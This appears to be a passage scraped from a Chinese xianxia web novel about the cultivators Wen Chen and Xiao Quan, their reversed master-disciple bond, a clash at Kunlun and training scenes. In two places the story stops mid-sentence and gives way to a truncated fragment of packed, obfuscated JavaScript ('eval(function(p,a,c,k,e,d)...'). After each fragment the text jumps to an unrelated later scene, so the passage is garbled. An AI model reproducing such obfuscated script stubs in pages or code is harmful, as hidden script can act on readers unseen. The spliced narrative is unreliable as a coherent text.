“以前吾也会怀疑,到底是闻尘太过执着师徒之情,被孽缘蒙蔽了双眼,还是逍遥君真的有难言之隐。” 闻尘的师尊,白清鸣的徒弟,至今是昆仑闭口不谈的名人。 花容酒不知该说什么,感觉内心空洞无比,眉带惆怅。 主宰:“可惜仙门和魔道始终势不两立,殊途相对。不管缘由如何,结果如此,便只能如此。” 一旦鼎立,便只论生死,无论对错。 花容酒:“为何父亲不拆穿他?” 主宰:“因为吾想知道他到底想掩盖什么,是一个人,还是一件事。” 花容酒望着父亲的后背,神情越发凝重,没有接话。 主宰撒下手中的落叶,“该走了。” 车辙声再度响起,在路上碾过长长的轻痕。 为九重楼布阵一事何其重要,不少子弟赶来观望。四君布阵的场面宏伟势盛,一条金色长龙自下而上盘绕,向天迸出四色华光,搅动一阵翻云覆雨之势,最后隐于楼顶,阵法告成。 华烨真人:“告诉孩子们不用进去巡逻了,有眼线看守。” 夜琛郎脸上意犹未尽,“可是我书还没看完。” 华烨真人笑道:“玄武门主有如此上进心,我等自然不好阻拦。你可以进去,切忌乱走乱动。还有,现在情况特殊,记得禀报主宰获得批准。” 夜琛郎自小喜书,本与修仙无缘,奈何资质过人,家中长辈劝其退学修仙,他才踏上修仙征途,继承发扬玄武洞一派的心得心法。 听到能出入九重楼,他松一口气,“那就行。” 布阵结束,气氛稍微缓和一些,一个人影窜出人群跑向闻尘,“百里大人,百里大人!” 闻尘回头。 宫璃:“百里大人,您抓到贼了吗?” 闻尘:“尚未。” 宫榷在旁边淡淡扫了他们一眼,没有说话。好在宫璃没有忘本,转过头来,“哥,你没事吧?” 宫榷咬牙切齿,“你哥好得很,还活着。” 宫璃心虚挠头,“那待会儿你是不是要回朱雀门了?” 宫榷:“不然?你这么问是不是又想……” 他突然一个健步,宫璃当即条件反射,兔子似的窜到闻尘身后躲着,嚷道:“我不回去,我和朋友有约了!你可不能强人所难啊!” “你还能在那鸟不拉屎的地方交到朋友?稀奇啊。”宫榷挑眉,“谁,拎出来我看看,没有你就死定了。” 宫璃昂首,“那当然有了,你不是见过?” 宫榷很快想了起来,“是那个废人?” “你说话真难听,我不想跟你说话了。” “不想就不想,日后别跟我哭鼻子就行。” 提到潇泉,宫璃到处张望,自言自语道:“怪了,一整天没见她人,跑哪儿去了?” 宫榷脸色一顿,对闻尘冷笑,“我没记错的话,百里君徒弟不会术法吧,毕竟资质摆在那儿。” 闻尘面若冷霜,不欲与他多聊。 宫榷不屈不挠,“昆仑封锁闭门已有一日,徒弟却无故消失不见,你作为师父不关心吗?还是说,你也不知她去了哪儿?” 围观者看得一头雾水,愕于宫榷关心那名少女。她是闻尘徒弟,理应闻尘关心才是,哪里轮得到他?可事实上,稍有心眼的便能听出宫榷是在怀疑那名废柴少女有作祟之嫌。 闻尘:“与你何干。” 宫榷:“百里君这么大火气干什么?难道被我说中了?” 一道华光劈空而下,银龙直抵宫榷脖颈,一毫不差。 闻尘冷眼相待,持剑不退,发散的法力冷得人打颤。 宫璃屏息睁大双眼,回过神来,慌忙拦在两人中间分开他们,劝道:“昆仑禁止内斗,你们两个不要打架!” 他费劲隔开两人,急道:“哥你少说两句行不行?明知现在情势紧张,还在这里冷嘲热讽,有意思吗?哪怕百里大人拒绝收我为徒,你也不能这样不分青红皂白就冤枉人吧。” 宫榷挺直身板不动分毫,恨铁不成钢道:“事情不对,难道你没有眼睛看?说我不分青红皂白,你可曾想过你的百里大人当初是因为什么被押上判台的?明知故犯、知错不改,这便是你从小到大仰望的百里仙君!” 他尽量克制波动的情绪,“总之,我宫家不可能跟这种人深交,你也是。如果不想,除非你不姓宫。” 宫璃进退两难,又苦又气道:“我、你……” 华烨真人以为他们会在众多弟子面前收敛,没想到愈演愈烈,过去夹住银龙,唤道:“闻尘。”简单二字,音音铿锵。 看戏不嫌事大的夜琛郎在旁边呵呵笑得起劲儿,没有劝阻。 银龙的寒凛剑气惯会伤人,但华烨真人触碰的刹那,剑气收放自如,没有伤他。 闻尘镇定自若,没有冲动情绪,出剑应是发自内心的。 华烨真人看得真切,却还是夹剑不放,“闻尘,不要在这个节骨眼上做错事。你要是暴露软肋,日后便有人会想方设法借此拿捏你。还是说,你真想看到不可挽留的情景发生?虽然金鹤所言偏激,但也是为昆仑安危着想。你们两人各退一步,谁都不要为难谁,好吗?” 闻尘没有应答,僵持半晌,最终收回银龙剑,背过身去,“我的子弟我自有安排,不劳诸位挂心。若来日她铸成大错,我亦会按规惩处。”言罢,他拂袖离去。 百里大人与自家兄长闹得难看,宫璃没脸跟他回去,坐地发呆,谁叫都不应。 旁观的门生不是不知两位仙君性情不合,也听说他们打过几回,但今儿是头一回见两人动手,稀奇之中又瞠目结舌。 这种有损昆仑仙名的糗事,子弟们不敢在台面上说,只敢偷偷私下激论,不然被仙君长老们知晓,准会受罚。 宫榷没事人似的把坐在地上的宫璃拉了起来,“今天我没这么多耐心,你必须跟我回去。” 宫璃愤愤不想言语,任他拉着回朱雀门。 几位仙君一散,嘈杂热闹很快散去,没剩多少人了。 离开昆仑,路途依旧广阔遥远,闻尘远远看到前方站立的华烨真人,走向另一方的脚步自然而然转来。 见闻尘没有回避自己,华烨真人减轻几分担忧,后觉对方不再是需要苦心劝导的少年,心里的石头又变轻一点。 这样想着,闻尘已然走到跟前。华烨真人侧开半步,闻尘默契往前,两人并排同行。 华烨真人低头看地,又抬头看天,“这样并排闲步,好像是很久以前的事了。” 那时,少年闻尘倔强不通的性子如同一头掰不回来的老牛,华烨真人常与对方并走谈心。说是谈心,不如说是他的苦口婆心。 他从不埋怨少年的刚倔,反而数万次在心里念叨,要是潇泉没有堕入魔道那该多好,还是那位快活游荡凡尘的逍遥散仙,不问俗世恩怨,就此逍遥一生。 他疼惜的,岂止是闻尘一人。 闻尘如何不知华烨真人的苦心,沉默顷刻道:“少时不懂事,给您添了不少麻烦。” 华烨真人轻轻一笑,“好歹你们白宗主与我有同宗之情,我作为远门师叔,总不能放任你们不管,不然我心里过意不去。” 闻尘,“这么多年,谢谢。” 华烨真人稍有感动,“不用跟我说这些,怪不好意思的。我就是来陪陪你散散心,也有个问题想问你。” 但凡长眼的人都能看出这次闻尘有点反常,有两处足以令人震撼:一是收徒;二是收废柴少女为徒。 少女的文静胆小和那名意气风发的逍遥女君浑然不同,不大可能是替身。还是说,闻尘真是看在她身为宫璃友人的份上,助其解脱废材之身? 那为何不一并把宫璃也一起收了?宫璃做梦都想拜闻尘为师,闻尘只收少女入门,有点说不过去。 华烨真人把诸多疑惑压在心底,“闻尘,我不太明白,你为何收那名少女为徒?以她的资质来说,你其实还有更好的选择。” 闻尘似是早有预料他会这么问,应道:“孤女废身,在外难存活。既是宫璃好友,那我便试试能不能帮其解脱累赘之身。” 华烨真人:“仅此而已?” 闻尘:“仅此而已。” 华烨真人就知道在他嘴里撬不出真话,“闻尘,你已经是个大人,我相信你都有自己的论断和道理。我也老了,很多事情都不如当年想得深沉,但对你们的事情,我却半点不敢马虎。你害怕的事情,我也怕;你不怕的事情,我也怕。” 闻尘停顿步子,微微张唇。 华烨真人不想引起不好的回忆,静静闭嘴,陪着闻尘走到昆仑山口。 走之前,闻尘回头看了他一眼。 华烨真人挥手,“去吧去吧,改天再来看我,记得带点吃的。” 闻尘颔首,扭头走了。 他在路上不作任何停留,转瞬翻过一座山、一湖水。重叠浓郁的山中拂过氤氲仙气,蜿蜒长绵至青泽山脚,然后游上山巅,奔往吾心殿。 闻尘落脚在庭中,朝院内一间檐角悬灯笼、窗糊老虎剪纸的房屋走去,敲门没人回应,等了片刻又敲两下,依然无人应答。 这个时辰不是她睡觉的时候。闻尘缓慢离开,缓慢停下,又缓慢回到房门前,静立好半晌,抬手按住门扉轻轻一推。 门随之敞开,里面果然没人。 他关好门,想到一个地方。 青泽桃林地广树繁,其中不止开有桃树,还有颜色别样鲜明的花树,那是以前潇泉从城镇赶集掏回来种的。 每次桃花盛开,总有那么一两株花色妖娆,白宗主说很煞风景。 潇泉则大言不惭道:“桃花是好看没错,不过紫薇和木槿也不差。紫色多好看啊,哪里煞风景了?我就喜欢紫色。” 白清鸣冷脸,“我看你最煞风景。” 说是这么说,可这几株花树仍然留养至今,无人拔除。 桃林时常会有群童游戏,这次闻尘没有碰见,不知他们去了深处何方。他继续前行,行至水流处,依稀听见有人说话,还不止一人。 “哎哎,你看看我这个是不是好了?能变活木头吗?” “能啊,你戳一下看,动了就是活了,没动就是死了。” “啊?死了咋办?还能整活吗?” “能啊,你先这样再那样,最后戳一下就好啦。” 潇泉把捣鼓完的木偶还给孩童,又接过另一个孩童的木偶帮忙安上脑袋,用笔墨点上眼睛、鼻子和嘴,咒术一念,然后递还孩童。 孩童把乌龟木偶放在桌上,对其施展潇泉教的咒术,再伸手轻轻一戳,乌龟木偶果真动了起来,蹭着桌面缓慢爬行。 院内热闹欢乐,院外清冷静谧。 闻尘静听顷刻,双手交叠抱在胸前,背靠月白镂空花窗墙,微微垂首,身形渐渐定格。 天地间,风动情动,唯有一抹淡影立在花墙日下,不动如山。 潇泉创造的木头术玩法众多,上次是塑形,这次是塑形之后的傀儡操控术。 那时,少年闻尘对这些技俩提不起太大兴趣,潇泉不厌其烦地教教教,闻尘勉为其难地学学学,数连成功太多,潇泉奇道:“你一学就会啊?那我岂不是得想一个难点的传给你?” 闻尘不知她心中想法,只是看她日日沉浸自己的世界,有点担忧。 如少年所见,潇泉为此茶饭不思,天天想着创新难法教他,可惜江郎暂时才尽,她尚未想到新奇法术。 闻尘不知哪里出了问题。 那日,他照常下山在茶馆听书,说书人换了一位幽默风趣之人,讲了一段新奇故事—— 一位修为不甚高深的小仙去雪山摘莲,可是怎么寻都寻不到,散失体温濒死之际,他隐隐瞧见一只雪狐叼着一朵雪莲走来,还没瞧清便昏厥过去。 再度醒来,他已经躺到家中榻上,榻边多了一名仅到腰处的孩子。 “那小仙几次问这孩儿打哪儿来,又往何处去,家中都有谁也,这孩儿皆不作声,目呆神傻。小仙不敢私养生孩儿,张贴告示半月余,仍不见有人来领,亲友说道:‘这嫩衣貌脏兮,兴许是流浪着到你家来啦。你前阵不是摘了雪莲又莫名睡到家了,我看这孤儿便是来寻你的,你收着罢。’小仙寻思没人养他,便收着养了。他拿那朵雪莲作为养料,修为大大提升,但在破境那夜,他遭噩梦纠缠,睁眼发现自己倒在血泊之中……你们猜,这是为什么?” 看客们七嘴八舌,各有其词。 “还能为什么,肯定是修炼走火入魔了呗!” “不一定,应该是那个小孩搞的鬼。” “我觉得是走火入魔,雪莲好歹是大补的宝贝,他一小小仙人就敢直接吞食?不怕被胀死?” “笑话,还真没见过谁吞宝贝被胀死的。” 这时,一名朴素道袍的女子温声道:“这孩儿是刚化形的一只小狐妖,还不能言语。它送雪莲给小仙不是出于好意,而是把他看作提升自己修为的食物。待小仙吞下雪莲,它只要施一手螳螂捕蝉、黄雀在后的好戏,便可圆愿。” 说书人瞪大眼睛,随之狠狠拍手,气道:“我承认你聪明,可是再聪明也不能直接说出来啊,这还怎么让我怎么说?” 女道长笑道:“不是你让我们猜的?怎么猜出来你还不高兴了?” 说书人打手势道:“悬念悬念悬念,你懂不懂什么叫悬念?” 女道长拆穿他,“抱歉,大叔。对我们经常捉妖的人来说,猜到结果只用一会儿工夫,毫无悬念可言。” 说书人说不过她,抱头蹲下埋怨,“姑娘,你新来的吧?咱们茶馆向来是这个规矩,哪怕猜出来的人也不会直接说,会等到大家都猜不出来的时候才说结果。演戏啊,你懂不懂?” 女道长似懂非懂,“哦,原来还要演戏吗?那真是抱歉,我第一次来。” 她背负长剑,瘦影翩翩,一看就是为民除害的好道长。说书人一下提高声量,“妹、妹子你来……作甚呐?” 女道长摇头笑道:“放心好了,这儿是青泽脚下,不管什么妖魔鬼怪都会被青泽子弟收服,用不着我们这种不入流的散修动手。我只是途径此地,买点东西罢了。” 说书人拍拍胸脯,“吓死我了,我就说我们小镇咋可能有妖……喂妹子,下次再来可不能破坏规矩了,悬念懂不懂?你没悬念但要给其他客人留悬念知道不?” 女道长叹气,“知道了。” 闻尘坐在角落,安静看完这场有趣情景,买好东西回宗门了。 回到云霄殿,他把玉羹莲子酥放到主殿的茶几上,坐在外间认认真真临帖,等到傍晚宫殿主人回来。 潇泉进来直奔寝室,还没跨过门槛,一个趔趄摔倒在地。她哀怨一声,死鱼一般从地上磨磨蹭蹭挣扎起来,看着好笑又可怜。所幸殿内时常清扫整理,地板没有灰尘,扫地的衣裳没有脏污。 闻尘愣了一瞬,收回的目光在白纸黑字上乱晃,低头敲了敲案桌。 潇泉猛一停住,回头一看,“小尘?你什么时候来的?” 闻尘:“有一阵了。” “那刚才……” “我没看见。” 潇泉忍住屁股的痛,“我是说,刚才你怎么不叫我。” 她过去打量少年的字帖,赞道:“进步很大,写得有模有样了。想要什么奖励?” 闻尘很少向她索取,这次却捏着写好的字帖犹豫,“之前师尊给的临摹本我写完了,我想换几本新的,还有……” “还有?”潇泉脸上尽是欣慰,“你还想要什么?” 闻尘拿出一本书给她,“师尊,我不临摹话本。” 潇泉差点没被自己的口水呛死,接过那书一瞧,上面整整齐齐印着《梅溅雪》三个字。 闻尘:“这个故事我看完了。” 这本讲述的是一位雪仙和一只梅妖的故事。有一个山村自然生长着一片红色梅林,每每绽开花瓣承接白雪的模样十分艳丽。起先红梅只等寒时绽放,后来年岁一久,只等雪时绽放。若雪不来,梅便不开。 一次某年寒冬,雪仙带着与故人重逢的期盼落下人间,却发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等他站好,潇泉空无一物的手掌慢慢转动,地上花瓣随着法力漫漫起舞,不一会儿,周围便被漫天花瓣遮掩得若虚若实。 潇泉出手极快,挑枝踏步上前,一举破开迷花阵。 闻尘反应慢了一拍,靠着肢体记忆勉强挡下这击,奈何两方力量悬殊,他还是被深厚功力震退好几步。 他自知不该靠蛮力博胜,绕步走位避开她的进击。潇泉只给他片刻喘息,时间一到,毫不留情出手,招招打在他木剑上。 闻尘抿紧薄唇,额角青筋铺满汗水,尝试控制呼吸调整节奏,屡试不成,脸色也因为愈发吃力而显苍白之色。 被逼无奈之下,他使出灵力将地上花瓣重新卷入空中遮住潇泉视线,自个儿窜进桃林隐去行迹。 潇泉先是一愣,而后失笑,进来找寻一圈,很快发现某处花丛暴露出来的月色衣摆,笑道:“哎,让我瞧瞧我养的小兔儿究竟躲哪里了,是这儿还是那儿呢?” 她没有走远,故意在附近兜圈子,见树上少年还保持耐心不动,无奈悄步靠近花丛,用桃枝轻轻戳动。 花丛簌簌抖动,少年探出冰然木讷的脸,双手奉还木剑,“不许这样叫我。” 潇泉:“我怎么叫你了?” 闻尘攥住衣袖不语,蹲在树上不肯下来。 潇泉眉眼弯弯,“我喊的是小徒儿,有什么不对?不然你以为我喊的是什么?” 闻尘知道说不过她,转移话题,“我不玩了。” 潇泉关心,“累了?” 闻尘不应,反而纠正道:“这不是传授,是切磋。” 潇泉失笑,“师徒间切磋不是很正常?有什么问题?” 闻尘看她半天,忽来一句:“我打不过你。” 潇泉实在忍不住笑,“打不过才要多打,这样为师才知道你哪里功夫下得不够。” 闻尘像是下定某种决心,脱口道:“你耍赖。” 潇泉故作正经,“我哪里耍赖了?你用木剑我用木棍,各自凭本事赢,不是挺公平的?” 不论修为还是阅历,潇泉远在闻尘之上,哪怕她不施法术,少年依然没有丝毫胜算,所以说她耍赖。 不错,她就是在耍赖。 少年不肯下树,似怕女子耍出捉弄人的手段。只是他不知,在树上也避免不了被捉弄的命运。 潇泉法术一施,闻尘周身的桃枝花瓣晃个不停,无头苍蝇似的乱打。他被逼跳到另一条粗壮的树干避着,然没太大用处,并让女子更加得逞。 闻尘感到自己的身体被一股力量所吸引,低头一看,腰间的蓝墨玉佩正被潇泉施法牵引着,根本逃脱不了。 僵持有来有回,结果他没站稳,不慎倾倒跌落。潇泉眼尖手快,接住少年,附道:“嘿嘿,师父接得准吧?” 闻尘全身一僵,触电般地逃离这个怀抱,站远一点,扯过一旁的桃枝掩住面庞,没有看她。 潇泉透过朵朵桃花间的缝隙看他低垂的眉眼,“明日我要上昆仑一趟,你去不去?” 闻尘:“去那儿作甚?” “嗯?你没生气啊?我还以为你生气了。”潇泉调侃。 闻尘无言以对,下意识用桃枝把脸遮得更加严实,咬死不上她当,复问:“去青泽作甚?” 末了,他继而改口道:“……去昆仑作甚?” 潇泉险些没忍住。只不过被逗两下就自己给自己绕迷糊了,着实有趣得紧。 念在少年尚有尊严,潇泉点到为止,恢复正经,“找点东西。青泽没有,我想去昆仑看看。你去不去?” 不等他答,她轻叹道:“算了,我还是带你去吧,怕你被人拐跑。等你以后长大,我再放你一个人。” 徒儿刚过十岁生辰,一个人总是留在家里不好,长两岁再说。 潇泉带闻尘上昆仑住了两日,她去典楼找一些关于淬剑附灵的宝典古籍,闻尘便待在客居等潇泉回来用膳。有时潇泉忙得过不来,会传讯叫他不要再等。 忙完之后,潇泉会在客居庭院教他从宝典汲取灵感的自创技法。起先闻尘没有学会,潇泉笑着打趣他终于有学不会的东西了。 闻尘没有气馁,按她说的照做,终于在三遍之后学成。 无非是把淬剑附灵化用在别物身上,譬如附灵一只鸟雀木雕,在火中用灵法慢慢蕴出灵气,使其渡入雕身,令本体加强硬度,同时还要借助相应咒术,看看能不能引“灵”。若能引灵,它就算活,但活得不久,因为不是正规严谨的“淬灵”。 这与潇泉的木头傀儡术有几分相似。 因为惯会弄这些玩意儿,她在昆仑的时候,常有子弟成群结伴前来拜访。 子弟们一进客居庭院,看见一个年纪相仿的少年坐在庭院练字,交头议论。 “他好像是逍遥仙君的徒弟,叫闻尘来着,是之前踢榜那个家伙。听说脾气古怪,我们不要招惹。” “怕什么?这是昆仑,难道还怕他揍我们不成?我们这么多人,他打得过吗真是……哎不对,我们是来找逍遥仙君学把戏的,你们扯这个作甚?我就不信问两句他还能打人了。” 说话的这名少年猫了闻尘一眼,装作自然大步靠近,左三圈右三圈在周边踱步,瞧着人家在临帖,试探喊道:“闻尘?你……是叫这名儿吗?” 闻尘不予理睬。 少年不管他的冷脸,厚着脸皮继续问:“你在干啥?” 闻尘依旧不言。 别人碰到冷屁股都要气上一气,这厮倒好,直接坐在对面看着闻尘练字,还夸“好字好字,比我的漂亮”。 同伴们见状,纷纷挨过来凑热闹。怕惹到脾性古怪的闻尘,他们不敢多言,会显聒噪,但也不敢过于安静,太显冷清无聊。 问话的还是那名最先打招呼的少年,“你师父呢闻尘,我们找她有事。” 闻言,闻尘停笔看他,“什么事。” 少年拖拉半日没有明说,谁知不给明确答复,闻尘咬死不放,只好迫不得已道:“哎呀也没什么,我们就是闲得无聊,想向逍遥仙君学学技法玩玩。” “她自创的伎俩在我们这儿可出名了,我们一直想学没有机会,今日好不容易腾空寻来,肯定要玩个开心才回去。喂,你是她徒弟,她肯定教过你吧?你会不会?” 闻尘毫不犹豫答:“不会。” “你不会啊?那算了。”少年回头看同伴,“我们进去看看逍遥仙君在不在。” 闻尘:“她未必会教你们。” 少年:“还没问你就知道了?还是说你根本不想我们找你师父学?” 另一名少年嬉笑,“不至于不至于,我们又又不是求问青泽独门术法,只是一点小伎俩而已,教学不算犯规,没有后果可言。” 闻尘正要说话,潇泉刚好从屋里出来,看到这么多孩子,吓了一跳,“干什么你们?” 少年们耐心道明拜访缘由,潇泉得知以后,大方表明可以传授,只要他们学会就成。 大家兴奋不已,围着潇泉在另一边热热闹闹聚成一团,欢声笑语不断,反观闻尘这边,冷冷清清。 剩余的空纸不过三言两句便能填满,但闻尘的动作却愈发迟钝,尤其是听到那个明朗温柔的笑声之后,越发笨顿的墨笔不慎在纸上落下几滴墨点。 闻尘深吸一口气,尝试落笔于纸,可写完两句又顿住。 笔墨已经失去章法,再写没有什么意义。他闭了闭眼,伸手把纸揉成一团,准备收工回屋。 忽然一只手伸来,将这团废纸摊开。他仰头回望,潇泉站在身后笑问:“怎么?是觉得吵闹烦到你了,所以有点生气?” 闻尘呆住,“没有。” 潇泉粗略扫看这张揉皱的纸,上面落着几滴墨点不说,字迹也比平时歪扭,显然不是寻常练字的心态,少年多半有事在心。 她心知肚明,没有戳破,“他们和你一般大,但和你不同,玩心较重。之所以我能在你们小孩辈中声名鹊起,靠着就是这些伎俩把戏。他们喜欢,过来找我求学很正常,毕竟一年到头见面的次数不多。这次好不容易寻得机会,他们当然不会错过。” 闻尘轻轻“嗯”一声,放慢收帖动作,把所有纸张叠得整整齐齐,同笔墨一起放回屋里。 潇泉微微一笑,转身坐回凳子,只教少年们一种技法便打发走了。他们有的师父管教严格,不喜徒儿外出,更不喜徒儿外出找“逍遥”逍遥,她没必要自找麻烦,得有分寸。 时至今日,她还是没变模样,耐着性子教孩童把戏。 28. 询百里 见青山(壹) 伎俩不难,孩童们学得飞快,无需潇泉时时坐守。她正要歇息,忽见对面白墙之后走出一人。 孩童们还沉浸在我愉悦中,潇泉咳嗽提醒几声,他们这才回头。看清面孔,孩童们赶忙放下玩意,逐个低头尊喊“仙君”,藏着掖着离开了。 看在如今他是师父的面子上,潇泉起来作揖行礼,淡定自若捡拾桌上孩童们忘记带走的木偶。 闻尘颔首回礼。 潇泉不震惊他为何知道自己的所处之地,知道属正常,不知道才怪。 似是空气过于安静,她感到有点不自在。看对方一直站着不动,便做“请”的手势,“坐?” 闻尘理袖入座,看着她倒腾木偶,问:“何时回来的?” 潇泉捶捶肩膀,“在昆仑玩累就回来了,没能及时告知师父……是弟子不对。” 这声师父喊得有点别扭,像喉咙卡着一根鱼刺,难以启齿。不仅是关系的微妙变化,也有先入为主的原因。潇泉喊着面前的师父,脑海却浮现白清鸣的面庞。 不喊是为不礼不敬,喊了心里又别扭,潇泉无奈不已。 对于称呼,闻尘表明:“尊称随心即可。” 潇泉没想到他这么开明,暗戳戳的心思快要溢出脸面,又听他紧接补道:“除大名以外。” 潇泉一怔,笑道:“好。” 她把能想到的都喊了一遍,“百里大人、代宗主,还是闻……尘师父?” 试探这么几个就差直呼人家大名,潇泉耐着性子琢磨来去,总算想到一个听上去还算不错的称呼,“仙君这么年轻,不如唤你‘百里师父’怎么样?” 闻尘未表态度,似是默认。 潇泉想的是以其独特仙号加在前面作为区分,这样不会喊着喊着直呼白师父名讳,可以有效避免尴尬,另外也给足了对方尊敬。 “手镯呢?”闻尘问。 潇泉坦诚回应:“戴不习惯,我给摘了。” 她偷偷观察他的神情,“百里师父,我想换一个法宝作为契物,行吗?” 闻尘:“可以。” 潇泉眉眼一扬,漾开嘴角,“我开玩笑的。” 她是刚干完坏事的人,对周围事物的感知灵敏。今日听见那些子弟在谈论昨夜九重楼遇袭之事,三名仙君和长老一起布阵防护,并下令禁止随意出入,实在要用楼里的经书古籍,需提前知会守楼仙君,由他禀报主宰获得批准再谈进楼。 加强秩序严律,不仅是怕粗心家伙触发机关导致坏果发生,也是为了防止不轨之徒伪装进楼。 看来最近必须得安分一阵,不然容易出师未捷身先死。在九重楼松懈之前,她不得不打消潜入的念头。 潇泉摒除杂念,问:“听说百里师父会做法器,那只金刚手镯莫不是您亲手制作?除了它和千魂伞,还有别的吗?” “有。”闻尘把枝头取下来的碎花一点一点聚在一起,“放着。” 潇泉“哦”一声,看闻尘坐着不走,又问:“开山大会过后,我们还要参加什么典会吗?” 按照旧俗,昆仑百试大会过后便是师会,潇泉会以新子弟的身份与闻尘一同上昆仑。算算日子,也不远了。 “上昆仑。”闻尘的回答在潇泉的意料之中。 潇泉故作不知,“上山做甚?” 闻尘指尖轻触花瓣,“听安排。” “那师会……” “以前有。” 这下算是一语成谶,潇泉当真不知昆仑接下来会做甚了。 关于昆仑安排,闻尘身为一大仙门代主,理应掌握着一份话语权,也许已经和其他仙君长老商量好了。 潇泉:“百里师父位高权重,应当参与了昆仑接下来的安排吧?” 闻尘:“我只参与了大会。” 师会听学能让子弟感受修仙的重担和昆仑的使命,取办没有好处也没太大坏处。昆仑肯舍弃师会,兴许是有更好的流程代之。 以潇泉这具身体来说,不管接下来昆仑有何举措,她都行动不便、艰难曲折。 潇泉托腮,“倘若昆仑安排之行对我十分困难,我做不成该如何?会受到惩罚吗?” 闻尘不答,似在默想这个问题。 潇泉:“万一我做错事要被拉去审判,百里师父也会在内吗?” 闻尘:“论理,徒弟之过便是师父之过。你犯下的所有错、被定下的所有罪,皆由我先承受。” 潇泉细细回想,昆仑好像是有这么一条门规。 一般而言,徒弟犯下难以弥补的大错,昆仑会以此徒的心智修行来判断是不是该罪及师父。假使是徒弟自己走上歪门邪道,则与师父无关,师父无需受罚,但会受责。 潇泉手指卷着鬓发浅思,“如果真到这一步,百里师父替我受罚,心里会不会怨恨。” 闻尘缄默良久,“师徒本为同根,不存在怪与不怪。若我旁生异心,便是对这段师徒缘分的不责、不忠、不情、不义。” 潇泉屏住呼吸,大脑宕机一瞬,但很快被发自内心的震撼感慨取代。 原来,他对师徒关系是这么诠释的。 说不清心里是什么滋味,潇泉仿佛没听见自己说话的声音,“我知道了。” 从回来到现在,她的脑海不停重复这句话。 昆仑没有此类规训,潇泉也不曾同他讲过相似,是以这两百年来,闻尘自己的所感所悟。 她心情复杂,回想两百年前自己毅然出走抛弃师门,说是绝情无义、百是混账也不为过。可重来一回,她依然会那么做,也只能那么做。 在新旧事物的重重压力之下,潇泉甚至生出一个不成熟的可怕想法,想当面问他是不是心有埋怨,怨她自私自利,怨她利用师徒之情骗取信任,不顾他自身安危,一心只想叛逃。 这些叛行,潇泉自认有罪,罪大恶极。可她千想万想都没想到,十年不到的养育之恩可以换来对方的无条件信任,致使后来她没有办法偿还。 有时,感情就像一把利刃,可以割伤对方,也能捅向自己。 她不希望两人的结局覆水难收,所以他一定要学会放下。 活了两百余年,潇泉见过各种人物,尝过各种情感。这段十年不到的师徒情谊在她的生命中,不过昙花一现。 并非没有真心,只是不会贪恋。 她以为像闻尘这样的少年不会对感情产生依赖,以为自己这种多情之人会视感情如命,谁知两个一冷一热的人相比,做法居然完全相反。 事到如今,潇泉再悔也不能挽救过去,也不可能因为一时的心软改变想法。她已经付过性命,值得与否不再重要,不论过程如何艰难,还是会竭力搏到最后。哪怕谜底揭开一点真相,都是好的。 在昆仑发话之前,这几日潇泉在吾心殿除了练功就是习武,打算捡回老本,结果不尽人意。 修行途中,她时常因为身体原因体力不济,打坐还没一半便软趴趴倒地。如若没有闻尘,她一日可以打渔晒网八百斤。 刚开始闻尘会扶,后来她总是赖在地上不听劝说,他便拿出几根银针扎在她身上,说可以帮忙缓解筋骨。 银针锋利细长,一下激起潇泉久远的恐惧,她连忙翻身抓住闻尘手腕,“慢着,我再歇会儿,马上就好……百里师父要是拿这针扎我,我肯定是想起都起不来了。” 求饶无果,闻尘坚持要她继续,潇泉只得起来重新开始,然后在他看不到的地方悄悄偷懒。 对付闻尘,潇泉有两个对策,那就是:明的不行,就来阴的。 偷懒最忌讳发出声音。闻尘听力敏锐,潇泉说的小话没有一句不被他听到。就昨儿架马步的时候,她小声说了一声“脚疼”,悄悄站起来放松一下,静坐练气的闻尘便睁眼望来,一派严师之相,让她从头开始。 潇泉连连哀嚎,闷声忍痛重新扎马步。 半个时辰的坚持接近极限,她开始怀疑当初的自己是不是有什么毛病,闲得没事非得叮嘱闻尘修习千里眼和顺风耳。这下好了,两百年前搬起的冷冰石头砸到了自己的脚,真是好一个因果报应。 在修行中,千里眼、顺风耳可修可不修。当年潇泉为促进少年的全面发展,特意给他增加了这两门修业。 抛开私人恩怨不谈,其实潇泉修炼的量度刚好。闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻尘一手戴着冰丝手套稳住花身,一手拿着薄刀缓慢修形,面容全神贯注,好像并没觉察帘后有人偷窥。 潇泉知道这样不厚道,但做都做了,后悔无用,不如一做到底。 这盘菊雕不知以何物而制,看上去入口即化,不仅操刀者下足了功夫,而且远近两看都有不错的观赏性,就是等得有点久。 潇泉四处打量消磨时间,连闻尘本人也不放过。今天他穿着青蓝袖箭长袍,白靴裹脚,头绾玉簪,整体衣风散着温润清雅,使其本人看着没有那么不近人情了。可深受他折磨的潇泉知道,这一切不过是迷惑人的表象。 好不容易送走一个灭绝师太,这下又来一个灭绝师公,她不如躺回自己的棺材板板安安心心睡一辈子,这样谁都折磨不了她。 正如有人想找她讨债,不讨誓不罢休,那她便睡在棺材里面永远不醒,与世隔绝,将所有爱恨情仇撇下,落一个清净自在,何尝不算一种两袖清风潇洒人间的别样人生? 潇泉收回思绪,原来有人的位置倏然空无淡影,探头一看,竟没人了。 “人呢……”她左看右看上看下看。 这时,后边有人递来一个红薯,她粗扫一眼,接到手中,“谢谢啊。” 红薯不冷不热,适合即食。她三两下剥开外皮准备吃下一口,又觉哪里不对,转身回头,闻尘果然在后面站着。 潇泉愣了一愣,笑露坦荡,“没想到百里师父还会做饭,实属让我有点惊讶。看您刚才雕琢认真,我就没好意思打搅。” “无碍。”闻尘看向门外,“走吧。” 两人回到吾心殿,此时膳厅饭菜俱全,香气四溢。 潇泉隔着位置入座,安静享食,吃到一半,问道:“百里师父厨艺这么好,是不是还给别人做过饭?” 闻尘:“不常。偶尔做给宫璃。” “那我是第二个?” “……是。” 潇泉淡笑不语。 宫璃性子比她更折磨人,兄长宫榷都没办法,何况是不擅与人相处的闻尘,他肯定不止一次被那小子折磨过。 潇泉想想就觉得好笑,强行忍住,顺带夸赞闻尘手艺好极,继续解决饭桌上的酒香酥肉。 饭后,闻尘没有下发修炼任务,潇泉狠狠回房补了个觉,睡到傍晚才醒,看一会儿书又睡到次日清早。她修为低道行浅,睡眠食物可以很好补足体力,亦是助长身体康健的直接方法。 